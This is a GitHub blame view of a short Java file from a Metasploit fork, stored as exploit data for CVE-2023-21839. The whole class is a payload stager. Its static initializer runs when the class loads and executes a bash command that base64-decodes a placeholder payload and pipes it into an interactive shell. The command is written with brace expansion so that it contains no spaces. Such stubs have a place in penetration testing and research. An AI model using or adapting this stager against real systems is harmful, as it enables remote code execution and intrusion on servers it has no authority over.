Files
metasploit-gs/data/exploits/CVE-2023-21839/PayloadRuns.java
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

11 lines
251 B
Java
Raw Normal View History

2023-05-24 17:36:39 -05:00
import java.util.Base64;
public class PayloadRuns {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {
ex.printStackTrace();
}
}
2023-05-24 17:36:39 -05:00
}